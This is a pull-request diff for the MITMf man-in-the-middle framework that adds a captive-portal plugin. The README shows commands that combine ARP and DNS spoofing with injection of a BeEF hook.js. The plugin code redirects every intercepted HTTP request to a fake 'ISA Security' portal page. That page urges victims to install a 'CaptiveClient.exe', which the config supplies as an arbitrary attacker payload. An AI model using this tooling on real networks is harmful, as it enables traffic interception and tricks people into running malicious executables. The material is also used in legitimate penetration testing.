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Merge pull request #254 from onedv/master
Captive portal redirecting using 302
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5 changed files with 214 additions and 0 deletions
4
.gitignore
vendored
4
.gitignore
vendored
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@ -57,3 +57,7 @@ docs/_build/
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# PyBuilder
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# PyBuilder
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target/
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target/
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# OSX Stuff
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.DS_Store
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._.DS_Store
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21
README.md
Normal file → Executable file
21
README.md
Normal file → Executable file
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@ -112,6 +112,26 @@ Inject a JS script:
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```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
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```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js```
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Start a captive portal that redirects everything to http://SERVER/PATH:
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```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH```
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Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder:
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```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive```
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Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof):
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```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns```
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Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config):
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```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR```
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Same as above but with hostname:
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```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns```
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And much much more!
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And much much more!
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Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
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Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)
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@ -137,3 +157,4 @@ For a complete list of available options, just run ```python mitmf.py --help```
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- **Replace** : Replace arbitrary content in HTML content
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- **Replace** : Replace arbitrary content in HTML content
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- **SMBAuth** : Evoke SMB challenge-response authentication attempts
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- **SMBAuth** : Evoke SMB challenge-response authentication attempts
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- **Upsidedownternet** : Flips images 180 degrees
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- **Upsidedownternet** : Flips images 180 degrees
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- **Captive** : Creates a captive portal, redirecting HTTP requests using 302
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31
config/captive/portal.html
Executable file
31
config/captive/portal.html
Executable file
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@ -0,0 +1,31 @@
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<html>
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<head>
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<title>Captive Portal</title>
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<style>
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<!--
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body, ul, li { font-family:Arial, Helvetica, sans-serif; font-size:14px; color:#737373; margin:0; padding:0;}
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.content { padding: 20px 15px 15px 40px; width: 500px; margin: 70px auto 6px auto; border: #D52B1E solid 2px;}
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.blocking { border-top: #D52B1E solid 2px; border-bottom: #D52B1E solid 2px;}
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.title { font-size: 24px; border-bottom: #ccc solid 1px; padding-bottom:15px; margin-bottom:15px;}
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.details li { list-style: none; padding: 4px 0;}
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.footer { color: #6d90e7; font-size: 14px; width: 540px; margin: 0 auto; text-align:right; }
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-->
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</style>
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</head>
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<body>
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<center>
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<div class="content blocking">
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<div class="title" id="msg_title"><b>Client Required</b></div>
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<ul class="details">
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<div id="main_block">
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<div id="msg_long_reason">
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<li><b>Access has been blocked. Please download and install the new </b><span class="url"><a href="CaptiveClient.exe"><b>Captive Portal Client</b></a></span><b> in order to access internet resources.</b></li>
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</div>
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</ul>
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</div>
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<div class="footer">ISA Security <b>Captive Server</b></div>
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</center>
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</body>
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</html>
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9
config/mitmf.conf
Normal file → Executable file
9
config/mitmf.conf
Normal file → Executable file
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@ -38,6 +38,7 @@
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[[[A]]] # Queries for IPv4 address records
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[[[A]]] # Queries for IPv4 address records
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*.thesprawl.org=192.168.178.27
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*.thesprawl.org=192.168.178.27
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*.captive.portal=192.168.1.100
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[[[AAAA]]] # Queries for IPv6 address records
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[[[AAAA]]] # Queries for IPv6 address records
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*.thesprawl.org=2001:db8::1
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*.thesprawl.org=2001:db8::1
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@ -75,6 +76,14 @@
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#
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#
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# Plugin configuration starts here
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# Plugin configuration starts here
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#
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#
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[Captive]
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# Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server)
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Port = 8080
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ServerString = "Captive Server 1.0"
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# Set the filename served as /CaptivePortal.exe by integrated http server
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PayloadFilename = config/captive/calc.exe
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[Replace]
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[Replace]
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149
plugins/captive.py
Executable file
149
plugins/captive.py
Executable file
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@ -0,0 +1,149 @@
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# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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# note: portal.html has been adapted from
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# config/responder/AccessDenied.html for now
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from plugins.plugin import Plugin
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from urlparse import urlparse
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class Captive(Plugin):
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name = "Captive Portal"
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optname = "captive"
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tree_info = ["Captive Portal online"]
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desc = "Be a captive portal!"
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version = "0.1"
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def initialize(self, options):
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self.options = options
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from core.utils import shutdown
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if options.portalurl:
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self.portalurl = options.portalurl
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else:
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# self.options.ip is prefilled earlier
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self.hostname = 'captive.portal' if self.options.usedns else self.options.ip
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if options.portaldir:
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self.serve_dir(options.portaldir)
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else:
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self.serve_portal()
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def response(self, response, request, data):
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if urlparse(self.portalurl).hostname not in request.headers['host']:
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self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo)
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response.headers = {}
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data = '''<html>
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<body>
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<p>Please click <a href="{}">here</a> if you are not redirected automatically</p>
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</body></html>
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'''.format(self.portalurl)
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response.redirect(self.portalurl)
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return {'response': response, 'request':request, 'data': data}
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def options(self, options):
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''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or
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start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) '''
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group = options.add_mutually_exclusive_group(required=False)
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group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.')
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group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).')
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options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.')
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def on_shutdown(self):
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'''This will be called when shutting down'''
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pass
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def serve_portal(self):
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self.portalurl = 'http://{}/portal.html'.format(self.hostname)
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from core.servers.HTTP import HTTP
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HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html')
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HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename'])
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self.tree_info.append("Portal login served by built-in HTTP server.")
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def serve_dir(self, dir):
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import threading
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import posixpath
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import urllib
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import os
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from SimpleHTTPServer import SimpleHTTPRequestHandler
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from BaseHTTPServer import HTTPServer as ServerClass
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Protocol = "HTTP/1.0"
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port = self.config['Captive']['Port']
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ServerString = self.config['Captive']['ServerString']
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self.portalurl = "http://{}:{}/".format(self.hostname, port)
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ROUTES = (['', dir],)
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class HandlerClass(SimpleHTTPRequestHandler):
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'''HandlerClass adapted from https://gist.github.com/creativeaura/5546779'''
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def translate_path(self, path):
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'''translate path given routes'''
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# set default root to cwd
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root = os.getcwd()
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# look up routes and set root directory accordingly
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for pattern, rootdir in ROUTES:
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if path.startswith(pattern):
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# found match!
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path = path[len(pattern):] # consume path up to pattern len
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root = rootdir
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break
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# normalize path and prepend root directory
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path = path.split('?',1)[0]
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path = path.split('#',1)[0]
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path = posixpath.normpath(urllib.unquote(path))
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words = path.split('/')
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words = filter(None, words)
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path = root
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for word in words:
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drive, word = os.path.splitdrive(word)
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head, word = os.path.split(word)
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if word in (os.curdir, os.pardir):
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continue
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path = os.path.join(path, word)
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return path
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server_address = ('0.0.0.0', int(port))
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HandlerClass.protocol_version = Protocol
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HandlerClass.server_version = ServerString
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httpd = ServerClass(server_address, HandlerClass)
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ServerClass.path = dir
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sa = httpd.socket.getsockname()
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try:
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t = threading.Thread(name='PortalServer', target=httpd.serve_forever)
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t.setDaemon(True)
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t.start()
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self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir))
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except Exception as e:
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shutdown("Failed to start Portal Server")
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